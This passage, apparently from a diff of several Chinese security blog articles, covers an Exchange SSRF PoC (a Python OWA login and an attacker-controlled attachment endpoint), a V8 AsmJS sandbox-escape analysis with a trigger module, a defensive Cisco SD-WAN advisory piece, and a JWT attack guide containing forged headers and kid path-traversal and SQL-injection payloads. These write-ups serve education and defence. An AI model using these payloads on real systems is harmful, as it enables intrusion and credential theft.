def login(): s = requests.Session() s.verify = False r = s.post( f"{TARGET}/owa/auth.owa", data={ "destination": f"{TARGET}/owa/", "flags": "4", "forcedownlevel": "0", "username": PRINCIPAL, "password": PASS, "isUtf8": "1", }, allow_redirects=False, timeout=2000, ) # ... 提取canary
|
||||
```
|
||||
|
||||
使用requests_ntlm
|
||||
库处理NTLM认证，这是Exchange内网部署的标配认证方式。
|
||||
### 4.4 创建EWS ReferenceAttachment
|
||||
|
||||
最后，PoC通过Exchange的EWS（Exchange Web Services）接口创建一个引用附件（ReferenceAttachment），这个附件的ProviderEndpointUrl
|
||||
指向攻击者的恶意服务器。后续的攻击链完全由Exchange自动触发。
|
||||
## 五、利用条件与影响
|
||||
### 5.1 利用条件
|
||||
- 能够访问Exchange服务器的OWA接口（内网或VPN）
|
||||
|
||||
- 拥有一个有效的Exchange邮箱账户（哪怕是普通用户权限）
|
||||
|
||||
- 能够连接到攻击者控制的HTTP服务器（通过SSRF回连）
|
||||
|
||||
### 5.2 潜在危害
|
||||
<table><thead><tr><th style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;font-weight: bold;background-color: rgb(255, 249, 249);color: rgb(239, 112, 96);"><section><span leaf="">危害等级</span></section></th><th style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;font-weight: bold;background-color: rgb(255, 249, 249);color: rgb(239, 112, 96);"><section><span leaf="">具体影响</span></section></th></tr></thead><tbody><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><strong><span leaf="">机密性泄露</span></strong></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">读取系统配置文件（如</span><code><span leaf="">hosts</span></code><span leaf="">、</span><code><span leaf="">SAM</span></code><span leaf="">数据库）</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><strong><span leaf="">凭据窃取</span></strong></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">读取</span><code><span leaf="">web.config</span></code><span leaf="">等应用配置文件，获取加密密钥和服务账户密码</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><strong><span leaf="">权限提升</span></strong></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">利用读取的配置文件中的服务账户凭据，结合其他漏洞横向移动</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><strong><span leaf="">情报收集</span></strong></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">读取Exchange配置文件、邮件规则、连接器配置等敏感信息</span></section></td></tr></tbody></table>
|
||||
攻击者从普通员工邮箱账号出发，理论上可以读取Exchange服务器上所有NTFS权限允许的文件，相当于直接从应用层绕过了操作系统级的文件访问控制。
|
||||
## 六、修复与缓解
|
||||
### 6.1 官方修复
|
||||
|
||||
微软已在2026年6月的补丁日发布了针对CVE-2026-45504的安全更新。**强烈建议所有Exchange Server 2019管理员立即安装6月累积更新**
|
||||
。
|
||||
### 6.2 缓解措施
|
||||
|
||||
在等待官方修复期间，可以采取以下临时缓解措施：
|
||||
1. **限制Exchange服务器的出站连接**
|
||||
：通过防火墙规则禁止Exchange服务器主动访问外网或攻击者控制的服务器，从根本上切断SSRF回连
|
||||
|
||||
1. **监控异常EWS活动**
|
||||
：重点关注包含ReferenceAttachment
|
||||
创建事件的EWS请求和异常的GetWopiTargetPropertiesByUrl
|
||||
调用
|
||||
|
||||
1. **文件完整性监控**
|
||||
：在Exchange服务器上部署文件完整性监控（FIM）工具，监控关键系统文件（如win.ini
|
||||
、hosts
|
||||
、web.config
|
||||
）的异常读取
|
||||
|
||||
1. **最小权限原则**
|
||||
：对Exchange邮箱账户进行权限审计，确保普通用户无法读取敏感附件
|
||||
|
||||
### 6.3 长期防御
|
||||
|
||||
代码层面，永久修复需要验证WebApplicationUrl
|
||||
返回值的协议方案：
|
||||
- 仅允许http://
|
||||
和https://
|
||||
|
||||
- 显式拒绝file://
|
||||
、ftp://
|
||||
、gopher://
|
||||
等非HTTP协议
|
||||
|
||||
- 验证URL的主机名是否在白名单内
|
||||
|
||||
## 七、总结
|
||||
|
||||
CVE-2026-45504再次证明：**SSRF漏洞的本质从来不是"能不能发出请求"，而是"响应被怎么用"**
|
||||
。这次微软Exchange的WOPI集成中，#
|
||||
片段的妙用让SSRF瞬间升级为任意文件读取，危害成倍放大。
|
||||
|
||||
对于红队而言，这又是一个低成本高回报的攻击向量——只需要一个普通邮箱账号，就能从Exchange服务器读取关键文件。对于蓝队而言，这是Exchange Server 2019的又一次严峻考验，必须立即打补丁。
|
||||
|
||||
**关键时间线：**
|
||||
- 2026年6月：微软发布6月补丁日安全更新，修复CVE-2026-45504
|
||||
|
||||
- 2026年6月24日：HawkTrace团队发布完整PoC代码
|
||||
|
||||
**参考链接：**
|
||||
- 推文：https://x.com/DarkWebInformer/status/2069854919859765699
|
||||
|
||||
- 技术Writeup：https://hawktrace.com/blog/CVE-2026-45504/
|
||||
|
||||
- PoC代码：https://github.com/hawktrace/CVE-2026-45504
|
||||
|
||||
- 微软官方公告：https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45504
|
||||
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650618755&idx=1&sn=48e0a85464fb20c73b6f338928a8f850&scene=21#wechat_redirect)
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650618776&idx=2&sn=a8fc65fd2a71822830022fc52d967bcd&scene=21#wechat_redirect)
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650618496&idx=1&sn=96ecdff99136258a4bf2cb156542311e&scene=21#wechat_redirect)
|
||||
> 👇 点击**阅读原文**
|
||||
，访问我的网站
|
||||
|
||||
|
||||
@@ -0,0 +1,67 @@
|
||||
# Chrome中的AsmJS漏洞：当WebAssembly信任的代码变得不可信
|
||||
幻泉之洲 2026-06-26 01:36
|
||||
|
||||
>
|
||||
|
||||
## 一点背景：AsmJS和WebAssembly的合体
|
||||
|
||||
AsmJS诞生之初就是为了让C/C++代码能跑在浏览器里，还跑得够快。它把自己限制成JavaScript的一个严格子集，通过显式类型强制（比如 x|0、+x）来模仿C的内存模型。一个模块用"use asm"声明，内部不准出现字符串、闭包、动态属性访问这类JS的灵活玩意儿，只保留数值类型和确定性的函数调用。内存通过ArrayBuffer配合类型数组堆出来，像极了一整块连续的线性内存。
|
||||
|
||||
V8处理AsmJS的套路不是直接在JS里跑，而是先把AsmJS的令牌流解析成WebAssembly的操作码流，再喂给WebAssembly引擎。这中间的转换步骤，埋下了后面要说的麻烦。
|
||||
## WebAssembly模块和那些让人眼花的段
|
||||
|
||||
WebAssembly二进制格式把模块拆成一串段，每个段负责一块职责。比如类型段（ID=1）声明所有函数的签名，代码段（ID=10）装函数的实际指令。每个段都有个一字节的ID，跟着一个用LEB128编码的大小值，再就是内容。
|
||||
|
||||
支持的操作码里，单字节的像0x20（local get）、0x21（local set），多字节的前缀开头，比如0xfb 0x01是GC扩展里的新建结构体。V8内部用枚举来表示这些操作码，比如kExprI32Const、kExprLocalGet。
|
||||
## 漏洞出在哪儿：被覆盖的位置标记
|
||||
|
||||
当AsmJS模块里出现类似HEAP32[n >> 2]这样的堆访问时，解析器调用AsmJsParser::ValidateHeapAccess()来检查约束。它会把n >> 2这种右移操作替换成位与运算n & ~(size-1)，其中size是数组元素字节大小。具体做法是：先调用ShiftExpression()解析右移表达式，记录当前操作码流的写入位置到heap_access_shift_position_变量，等右移解析完返回后，用WasmFunctionBuilder::DeleteCodeAfter()把流截断到记录的位置，然后把位与操作码和常量写进去——相当于原地替换。
|
||||
|
||||
问题在于ShiftExpression()可能被递归调用。调用链可以是：ValidateHeapAccess() -> ShiftExpression() -> AdditiveExpression() -> ... -> ShiftExpression()。也就是说，在处理左移表达式时，它解析第二个操作数（加法表达式）的过程中，可以再次进入ShiftExpression()处理一个嵌套的右移表达式。
|
||||
|
||||
第一次调用（外层的左移）在进入AdditiveExpression()之前会把heap_access_shift_position_设为kNoHeapAccessShift（-1），但递归调用里，如果碰到如1 >> 2这样的右移，会重新给这个变量赋值为当前操作码流的某个中间位置。等递归返回到外层时，ValidateHeapAccess()拿到的就是这个被覆盖后的位置。而在这整个过程中，操作码流上又被插入了新的指令，截断点已经不再准确。
|
||||
|
||||
换句话说，DeleteCodeAfter()一刀切下去，切在了一个本该是完整操作码序列的“肚子”里。后续写入的位与操作码就会和残留的操作码字节混在一起，造成解码器看到的东西完全错位。
|
||||
|
||||
举个例子：截断前流是[I32Const 0x2, I32Const 0xc7, 0x95, 0xa6, 0x05]。插入位与操作码后变成[I32Const 0x2, I32Const 0x7c, kExprI32And, 0xa6, 0x05]。注意0xa6原本是前面常量操作码的立即数的一部分，现在却成了下一条操作码，而kExprI32And本身不带操作数。
|
||||
## 把漏洞捅出来
|
||||
|
||||
构造一个AsmJS模块，比如：
|
||||
|
||||
function AsmModule(stdlib, foreign, heap) { "use asm"; var HEAP32 = new stdlib.Int32Array(heap); function g() { return 1.25; } function f(a,b,c) { a = a | 0; b = b | 0; c = c | 0; HEAP32[1 << (b >> 2) + ~~+g()] = c; 1.1; return c | 0; } return {f:f};}
|
||||
|
||||
堆访问表达式里嵌套了一个左移和右移：1 << (b >> 2)。外层左移在解析时把heap_access_shift_position_设为-1，然后去解析加法子表达式(b >> 2) + ~~+g()。这里面又触发了右移解析，位置标记被覆盖成操作码流中右移操作码写入之前的位置。最后，ValidateHeapAccess()按这个错误位置截断并插入位与操作码，操作码流被污染。
|
||||
|
||||
后面的1.1这个浮点立即数，十六进制是0x3ff199999999999a。解码器遇到被污染后误解析出的字节0xf1，直接报非法操作码异常——但在此之前，很多事情已经可以发生了。
|
||||
## 利用手法：信任已经被辜负
|
||||
|
||||
通常攻击者想在V8的Ubercage沙箱里拿到代码执行，需要多个漏洞连用。但这个漏洞的特殊之处在于，AsmJS生成的操作码流在交给WebAssembly引擎时，ValidationTag::validate被设为false，意味着引擎完全信任这些操作码是“良民”，不做任何类型校验。
|
||||
|
||||
对比一下：如果操作码从JavaScript侧直接喂过来，每个操作都要检查栈上值的类型匹配，比如CallRef操作码会调用Pop()弹出函数引用，再用ValidateStackValue()验证类型。但AsmJS流跳过了这些验证。攻击者可以精心构造恶意的、无类型的操作码序列，把栈上的64位值当作地址来调用，沙箱边界就这么被穿透了。
|
||||
### 跨模块类型逃逸
|
||||
|
||||
AsmJS模块里只有原始值，没有定义结构体或数组。但kExprStructGet/kExprStructSet这类操作码在使用时并不检查类型索引是否属于当前模块的类型向量。这意味着可以传入一个超大的索引，让它读到一个**其它模块**的类型定义。类型向量存储在WasmModule对象的types属性里，元素是TypeDefinition，分配在专门的规范区（canonical type zone）。通过越界，我们可以拿到另一模块里早就布置好的恶意结构类型，用它来读写任意地址——这就是任意读写原语的来源。
|
||||
|
||||
|
||||
|
||||
▲ 一个WebAssembly函数调用栈的布局示意，攻击者通过耗尽栈槽来暴露受信任的实例数据对象
|
||||
### 把受信任笼的基址漏出来
|
||||
|
||||
有了任意读写，还需要知道受信任笼（trusted cage）的基址——那里存着JIT代码页的指针和其他关键对象。泄露的思路很贼：在一个WebAssembly函数里塞满Drop操作码，把栈上的返回值和参数全部弹空。原本函数定义返回一个值，但现在栈槽被清空，继续往下就到了WasmTrustedInstanceData对象的位置。这个对象藏在栈的第一个槽里（由寄存器RSI保存），生成的机器码中会出现mov rax, rsi这样的指令，把它返回出去。
|
||||
|
||||
麻烦在于AsmJS函数只能返回SMI（32位）、float、double。返回SMI会截断高32位，返回double又因为MachineRepresentation::kTaggedPointer不匹配导致abort。所以只能先拿到低32位的值，不够。但好在返回32位SMI后，RAX寄存器高位并没有被清零。利用嵌套函数调用，在函数返回后再对返回值做一次右移操作，挖出高位，拼出完整的64位基址。
|
||||
### 达成任意代码执行
|
||||
|
||||
把这几步串起来：通过越界类型实现任意读写，泄露受信任笼基址，然后覆盖WebAssembly模块的跳转表（jump table），把里面的地址指向自己的shellcode。跳转表里的代码本就跑在受信任的空间里，一旦篡改，下一次函数调用就会跳到我们的代码。
|
||||
|
||||
整个攻击不需要绕过栈保护、ASLR这些传统缓解措施，因为从一开始V8就把经过污染的AsmJS流当成“受信任”的来执行，沙箱内的门槛被一次性绕过。
|
||||
## 结语
|
||||
|
||||
这个漏洞再次提醒我们，在“信任”边界上哪怕是一个状态变量的覆盖，都足以瓦解精心设计的沙箱。AsmJS向WebAssembly的转换原本是为了性能，但转换链路上的递归解析和共享状态给攻击者打开了侧门。V8修复这个问题的方案很简单：避免共享的heap_access_shift_position_变量被递归调用覆盖，各自维护自己的位置信息。
|
||||
>
|
||||
|
||||
### 参考资料
|
||||
|
||||
[1]
|
||||
https://blog.exodusintel.com/2026/06/22/out-of-shift-how-a-shared-state-bug-in-v8s-asmjs-parser-broke-the-ubercage/
|
||||
|
||||
@@ -0,0 +1,191 @@
|
||||
# Cisco SD-WAN 0day 被利用数月：边界控制面，不能只等补丁
|
||||
原创 tcode
|
||||
tcode 字节脉搏实验室 2026-06-26 03:20
|
||||
|
||||
|
||||
|
||||
事件概述
|
||||
|
||||
过去一天，
|
||||
Google Cloud/Mandiant
|
||||
对
|
||||
Cisco Catalyst SD-WAN
|
||||
相关漏洞
|
||||
CVE-2026-20245
|
||||
的在野利用细节做了公开说明；多家安全媒体随后跟进报道。这个漏洞并不是传统意义上
|
||||
“
|
||||
普通业务系统里的一处缺陷
|
||||
”
|
||||
，它位于
|
||||
SD-WAN
|
||||
控制与管理体系中，攻击者一旦在前置条件满足时完成提权，影响的是网络管理层面的可信边界。
|
||||
|
||||
更值得警惕的是时间线。
|
||||
Mandiant
|
||||
的调查显示，相关活动并非补丁发布后才出现的跟风扫描，而是在公开披露前已经发生。换句话说，防守方看到公告时，部分真实环境里的对抗已经跑在前面。
|
||||
|
||||
这类事件的重点不在于
|
||||
“
|
||||
某一个
|
||||
CVE
|
||||
有多吓人
|
||||
”
|
||||
，而在于它再次说明：边界设备、控制器、管理平台和远程接入系统，已经成为高级攻击者长期盯住的入口。它们往往拥有高权限、高信任和低频变更的特点，一旦被突破，后续排查难度会明显高于普通终端。
|
||||
## 核心事实
|
||||
|
||||
事实一：
|
||||
Cisco
|
||||
官方安全公告将
|
||||
CVE-2026-20245
|
||||
归类为高危漏洞，涉及
|
||||
Catalyst SD-WAN Controller
|
||||
、
|
||||
Manager
|
||||
和
|
||||
Validator
|
||||
等组件。官方公告显示该问题已发布修复版本，且没有可替代补救措施。
|
||||
|
||||
事实二：
|
||||
Mandiant
|
||||
披露，攻击者曾在特定环境中利用该漏洞完成权限提升，并在事后进行清理，以降低被管理员发现的概率。这里不展开任何可复现的技术路径、命令或样本细节；对企业防守来说，更重要的是确认是否存在受影响版本、异常管理员行为和管理面暴露。
|
||||
|
||||
事实三：
|
||||
The Hacker News
|
||||
、
|
||||
Security Affairs
|
||||
等媒体在
|
||||
2026
|
||||
年
|
||||
6
|
||||
月
|
||||
25
|
||||
日跟进报道，将焦点放在
|
||||
“
|
||||
公开披露前已被利用
|
||||
”
|
||||
和
|
||||
“
|
||||
控制面风险
|
||||
”
|
||||
上。这与近年来边界设备
|
||||
0day
|
||||
事件的共同趋势一致：攻击者更愿意攻击安全团队难以及时重装、难以频繁巡检、又拥有关键权限的位置。
|
||||
## 影响分析
|
||||
|
||||
对大型企业而言，
|
||||
SD-WAN
|
||||
管理平台不是一台孤立服务器。它连接分支网络、云上资源、总部出口和策略下发机制。如果攻击者取得更高权限，风险可能从单点设备扩大到网络策略、配置完整性和跨区域运维信任。
|
||||
|
||||
对服务提供商、托管网络服务商和多租户网络环境而言，影响面还会更复杂。攻击者不一定需要立刻造成中断；他们可能更倾向于读取配置、观察网络拓扑、维持隐蔽访问，或者等待后续行动窗口。这也是为什么
|
||||
“
|
||||
没有业务中断
|
||||
”
|
||||
不能等同于
|
||||
“
|
||||
没有入侵
|
||||
”
|
||||
。
|
||||
|
||||
对安全运营团队而言，这件事带来的直接压力是：补丁管理不再只是资产版本表的工作，还要和日志留存、管理员账号治理、管理接口隔离、变更审计结合起来。尤其是控制面设备，一旦日志保留不足或管理员账号共用，事后判断会很被动。
|
||||
|
||||
|
||||
## 企业应对建议
|
||||
|
||||
第一，立即确认资产范围。梳理所有
|
||||
Cisco Catalyst SD-WAN Controller
|
||||
、
|
||||
Manager
|
||||
、
|
||||
Validator
|
||||
，以及由第三方托管或云托管的相关实例。不要只查采购清单，要让网络团队、运维团队和托管服务商共同确认。
|
||||
|
||||
第二，按官方公告升级到修复版本。若企业采用托管或云托管模式，需要向服务商确认修复时间、版本状态和是否存在异常访问排查记录。不能仅以
|
||||
“
|
||||
服务商会处理
|
||||
”
|
||||
为默认结论。
|
||||
|
||||
第三，收缩管理面暴露。管理接口应限制来源地址，使用专用管理网络、跳板机、强身份认证和最小权限账号。默认账号、长期共用管理员账号、离职人员权限和临时外包权限，都应纳入复查。
|
||||
|
||||
第四，做一次针对性狩猎。重点看管理员登录、异常配置变更、短时间内的权限变化、非计划维护窗口操作、系统日志缺口，以及与管理面相关的异常外联。不要只依赖单一告警，最好由网络、终端、身份和日志平台交叉验证。
|
||||
|
||||
第五，轮换关键凭据。若存在受影响版本暴露在风险窗口内，建议评估是否需要轮换本地管理员密码、
|
||||
API
|
||||
凭据、集成账号、备份账号和自动化运维密钥。控制面被碰过之后，凭据可信度要重新建立。
|
||||
## 事实、推测与观点
|
||||
|
||||
可以确认的事实是：
|
||||
Cisco
|
||||
已发布相关安全公告；
|
||||
Mandiant
|
||||
披露了该漏洞被用于真实入侵活动；公开报道集中在
|
||||
2026
|
||||
年
|
||||
6
|
||||
月
|
||||
25
|
||||
日前后。
|
||||
|
||||
合理推测是：攻击者选择
|
||||
SD-WAN
|
||||
管理与控制组件，可能看中的是高权限、横向影响和排查成本。不同企业的真实风险取决于版本、暴露面、账号治理和日志保留情况。
|
||||
|
||||
我的观点是：这类事件不适合用
|
||||
“
|
||||
打补丁后结束
|
||||
”
|
||||
来处理。更成熟的做法是把边界控制面纳入持续攻击面管理，把管理接口、管理员身份和配置变更当作高价值资产来运营。
|
||||
## 结语
|
||||
|
||||
这次
|
||||
Cisco SD-WAN
|
||||
相关事件给企业的提醒很直接：真正值得担心的，不只是漏洞本身，而是漏洞所在的位置。业务系统被打穿，影响的是一片业务；控制面被打穿，影响的是企业对网络的信任。补丁要快，排查要细，边界管理面更要长期
|
||||
“
|
||||
少暴露、强认证、可审计
|
||||
”
|
||||
。
|
||||
## 关键来源
|
||||
|
||||
·
|
||||
|
||||
Google Cloud/Mandiant
|
||||
：《
|
||||
Zero-Day Exploitation of Vulnerability (CVE-2026-20245) in Cisco Catalyst SD-WAN Manager
|
||||
》，
|
||||
2026-06-25
|
||||
，
|
||||
https://cloud.google.com/blog/topics/threat-intelligence/zero-day-exploitation-cisco-catalyst-sd-wan-manager
|
||||
|
||||
·
|
||||
|
||||
Cisco Security Advisory
|
||||
：
|
||||
Cisco Catalyst SD-WAN
|
||||
相关认证后提权漏洞公告，首次发布
|
||||
2026-06-04 22:27 UTC
|
||||
，更新至
|
||||
2026-06-12
|
||||
，
|
||||
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-privesc-4uxFrdzx
|
||||
|
||||
·
|
||||
|
||||
The Hacker News
|
||||
：《
|
||||
Cisco Catalyst SD-WAN Zero-Day CVE-2026-20245 Exploited to Gain Root Access
|
||||
》，
|
||||
2026-06-25
|
||||
，
|
||||
https://thehackernews.com/2026/06/cisco-catalyst-sd-wan-zero-day-cve-2026.html
|
||||
|
||||
·
|
||||
|
||||
Security Affairs
|
||||
：《
|
||||
Cisco Catalyst SD-WAN Zero-Day CVE-2026-20245 Exploited Months Before Disclosure
|
||||
》，
|
||||
2026-06-25
|
||||
，
|
||||
https://securityaffairs.com/194200/hacking/cisco-catalyst-sd-wan-zero-day-cve-2026-20245-exploited-months-before-disclosure.html
|
||||
|
||||
|
||||
@@ -0,0 +1,147 @@
|
||||
# JWT漏洞利用完整指南
|
||||
原创 Red Hunter
|
||||
Red Hunter 黑白之道 2026-06-26 00:35
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650618185&idx=1&sn=e7a4ddec94c9af10451bca515c67e228&scene=21#wechat_redirect)
|
||||
> **导语**
|
||||
：在JSON Web Token（JWT）成为现代应用开发主流之前，Web应用主要使用服务端会话，这带来了水平扩展性问题。JWT通过将认证数据从服务器移到令牌本身解决了这个问题。然而，当最佳实践被忽视、安全规范被忽略时，JWT漏洞就会应运而生，对受影响组织及其客户构成高风险安全威胁。
|
||||
|
||||
## 一、JWT简介与应用场景
|
||||
|
||||
JSON Web Token通常用于处理Web服务中的认证会话，如Web应用、API和SPA，但也存在其他常见用例：
|
||||
- 刷新令牌以获取新的会话令牌
|
||||
|
||||
- 密码重置和邮箱确认令牌
|
||||
|
||||
- 共享和邀请链接
|
||||
|
||||
- 其他提供对数据对象（如文档）临时访问的密钥
|
||||
|
||||
当JWT的实现存在缺陷时，目标应用可能容易受到多种JWT攻击。以下我们深入探讨JWT的构造方式，然后分析这些攻击的具体手法。
|
||||
## 二、JSON Web Token结构解析
|
||||
|
||||
|
||||
|
||||
JSON Web Token由三部分组成：Header（头部）、Payload（载荷）和Signature（签名）。
|
||||
### 2.1 Header
|
||||
|
||||
Header包含元数据，作为JWT库的指令，帮助验证、解密和签名令牌。元数据可能包括所使用的算法、令牌类型、任何标识符（如kid）及其他相关元数据。
|
||||
|
||||
|
||||
### 2.2 Payload
|
||||
|
||||
Payload包含实际的JWT声明和应用需要的数据。最佳实践是不包含任何敏感数据（如账单信息、邮箱或其他PII），除非已加密（即JWE）。
|
||||
### 2.3 Signature
|
||||
|
||||
签名用于验证令牌的完整性。这意味着数据无法在没有签名密钥的情况下被篡改。
|
||||
## 三、None算法攻击
|
||||
|
||||
如前所述，JWT Header包含所有帮助解析JSON Web Token的元数据。在某些情况下，开发人员启用了None算法支持，允许他们发行和使用未签名的令牌，通常用于测试目的或支持无符号令牌（如非敏感共享链接）。
|
||||
|
||||
然而，如果在生产环境中处理不当，任何人都能篡改JWT，包括修改任何声明以提升应用内权限或利用注入攻击。
|
||||
|
||||
考虑以下在会计平台中使用JWT的示例：
|
||||
|
||||
|
||||
|
||||
任何用户都可以：
|
||||
- 对Header和Payload进行Base64解码
|
||||
|
||||
- 将Header中的alg属性设置为none
|
||||
|
||||
- 篡改声明，在本例中我们希望将role属性改为owner，并将organizationId改为受害者的组织ID
|
||||
|
||||
- 最后完全省略签名，但保留尾部的点
|
||||
|
||||
|
||||
|
||||
这最终允许我们冒充任何组织所有者。
|
||||
## 四、缺失签名验证攻击
|
||||
|
||||
与之前的错误配置类似，在某些情况下，开发人员会在没有提供签名时完全跳过签名验证。这通常是为了方便测试应用的认证部分，或支持无符号令牌（如书签或应用配置预设的共享链接）。
|
||||
|
||||
再次强调，当执行错误的解析时，攻击者可以篡改声明，可能冒充其他用户提升应用内权限，或者在服务器错误处理用户输入的情况下利用注入攻击。
|
||||
|
||||
要测试这种情况，我们需要完全移除签名，篡改JWT声明，只向服务器发送Header和Payload。
|
||||
|
||||
|
||||
|
||||
由于这种JWT漏洞源于错误的令牌解析，你可能需要尝试'alg' Header属性并传递意外的值为'none'。
|
||||
## 五、算法/密钥混淆攻击
|
||||
|
||||
如果之前将算法设置为'none'的所有尝试都失败了，强烈建议进行额外测试，因为可能支持其他算法，这可能导致JWT密钥混淆攻击。
|
||||
|
||||
JWT算法（或密钥）混淆攻击源于开发人员错误处理JWT的算法，启用了除默认算法以外的其他算法支持。这允许攻击者指定任何其他算法用于令牌签名，例如HS256（通常使用公钥作为密钥进行签名）。
|
||||
|
||||
在实践中，这通常涉及将JWT Header中的alg属性修改为HS256，篡改Payload，并用服务器的公钥对令牌进行签名。你需要找到服务器支持的确切公钥，这通常可以在服务器上找到。
|
||||
## 六、解析缺陷（CVE-2018-0114）
|
||||
|
||||
在其他场景中，你会注意到JWT解析库存在缺陷，允许包含你自己的密钥对。这似乎不太可能，但CVE-2018-0114是一个明确的例子，源于类型混淆，攻击者可以简单地在令牌中包含任意密钥对来伪造令牌。
|
||||
|
||||
node-jose库允许任何未认证的攻击者只要在Header中指定jwk属性就可以签名令牌。jwk属性具有几个嵌套属性，指示解析库验证签名：
|
||||
|
||||
使用以下Header制作JSON Web Token实际上会指示解析库使用攻击者的密钥对来验证其签名，最终允许任何人伪造其内容：
|
||||
```
|
||||
{ "alg":"RS256","typ":"JWT","kid":"example-key-id","jwk":{ "kty":"RSA", "kid":"example-key-id", "use":"sig", "n":"uAPuSn1MG6nFYKjiIcfke-nyMfsZM_Wrea7wlv1l553UrUM8P9VjZ0kTKYX3iyWLDXgyokLsZtqicE5q3c71cQ", "e":"AQAB"}}
|
||||
```
|
||||
|
||||
你需要生成自己的密钥对并将其转换为'n'和'e'属性需要的正确格式。
|
||||
## 七、kid属性注入攻击
|
||||
|
||||
除了JWT库中的错误配置外，还有其他疏忽，如JWT Header属性中的注入攻击和使用弱密钥。让我们看几个可以 exploit JWT漏洞的其他例子。
|
||||
|
||||
如前所见，当Header参数被错误处理时可能会出现错误配置。在某些情况下，你可能会注意到JWT Header部分引用了密钥ID（kid）。此属性表示密钥文件的位置，本质上指示解析库从服务器文件系统获取签名密钥的位置。
|
||||
|
||||
某些目标使用一组密钥，因此将使用kid参数来识别用于签名的密钥对。在这种情况下，我们可以根据参数的处理方式测试可能的路径遍历、SSRF和注入攻击。
|
||||
### 7.1 通过JWT kid属性利用路径遍历
|
||||
|
||||
考虑以下易受攻击的代码示例：
|
||||
|
||||
|
||||
|
||||
我们可以看到，在第15行，应用读取kid参数并将其附加到文件获取函数中，没有进一步验证。在代码示例中，它指向一个不可猜测的签名密钥。然而，由于我们可以有效地遍历路径，我们可以使应用从另一个目录获取签名密钥，只要它位于文件系统上。我们的目标是找到一个返回可猜测密钥组合的文件，这样我们就可以使用相同的密钥在本地复制JWT签名过程。
|
||||
```
|
||||
{ "alg": "RS256", "kid": "../../../dev/null"}
|
||||
```
|
||||
### 7.2 通过JWT kid属性利用SQL注入
|
||||
|
||||
与前面的情况类似，如果目标在从数据库加载签名密钥时考虑kid属性，我们也可以实际测试SQL甚至NoSQL注入。
|
||||
|
||||
|
||||
|
||||
在第11行，你可以看到kid属性被连接到一个未准备的SQL语句中然后才进行评估。在这种情况下，简单地跳出上下文并注入可预测的有效载荷字符串将用我们控制的字符串值替换初始签名密钥。
|
||||
```
|
||||
{ "alg": "RS256", "kid": "example-key' OR UNION SELECT 'intigriti'; --"}
|
||||
```
|
||||
## 八、弱密钥暴力破解
|
||||
|
||||
使用常见或弱密钥也会促进令牌伪造。使用John The Ripper或JWT_tool等工具，我们可以轻松地暴力破解用于签名和验证令牌的弱密钥。请注意，这只有在令牌使用密钥签名时才可能。RSA签名的JWS和JWE通常需要完整的密钥对，包括私钥，这使得猜测攻击几乎不可能。
|
||||
```
|
||||
$ john --wordlist=/path/to/wordlist.txt jwt.txt
|
||||
```
|
||||
|
||||
密钥有时会被意外推送到公共代码仓库、JavaScript文件和其他配置文件中。这些可能包括用于签名和验证JSON Web Token的JWT密钥。
|
||||
|
||||
**提示！**
|
||||
|
||||
在客户端找到JSON Web Token密钥是JWT在客户端签名和验证的有力指示。确保你始终验证密钥的实际保密性。
|
||||
## 九、总结
|
||||
|
||||
JSON Web Token漏洞可能源于各种错误配置、不遵循最佳实践和解析缺陷。本文涵盖了几种在开发人员在整个JSON Web Token实现过程中不加注意时可能发生的处理缺陷。
|
||||
|
||||
现在你已经学到了关于exploit JWT漏洞的新知识……是时候将你的技能付诸实践了！你可以从易受攻击的实验室和CTF开始练习，或者浏览Intigriti上的70多个公共漏洞赏金项目，谁知道呢，也许你下次提交就能获得漏洞赏金！
|
||||
|
||||
**原文出处**
|
||||
：https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-jwt-vulnerabilities
|
||||
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650618755&idx=1&sn=48e0a85464fb20c73b6f338928a8f850&scene=21#wechat_redirect)
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650618776&idx=2&sn=a8fc65fd2a71822830022fc52d967bcd&scene=21#wechat_redirect)
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650618496&idx=1&sn=96ecdff99136258a4bf2cb156542311e&scene=21#wechat_redirect)
|
||||
> 👇 点击**阅读原文**
|
||||
，访问我的网站
|
||||
|
||||
|
||||
@@ -0,0 +1,391 @@
|
||||
# Microsoft Exchange Server 服务器端请求伪造漏洞(CVE-2026-45504)漏洞
|
||||
天黑说嘿话 2026-06-26 00:55
|
||||
|
||||
0x01 核心速览
|
||||
|
||||
